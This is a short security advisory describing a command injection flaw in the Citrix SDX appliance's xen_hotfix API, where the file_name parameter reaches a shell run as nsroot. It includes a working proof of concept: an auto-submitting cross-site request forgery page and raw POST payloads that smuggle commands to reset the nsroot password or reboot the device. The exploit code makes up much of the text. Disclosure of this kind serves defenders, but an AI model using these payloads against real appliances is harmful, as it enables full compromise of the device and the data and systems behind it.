This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
<body>
<form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
<input type="hidden" name="object" value="{"params":{"action":"start"},"xen_hotfix":[{"file_name":"../../etc/passwd;echo nsroot:Securify|chpasswd;"}]}" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>


POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
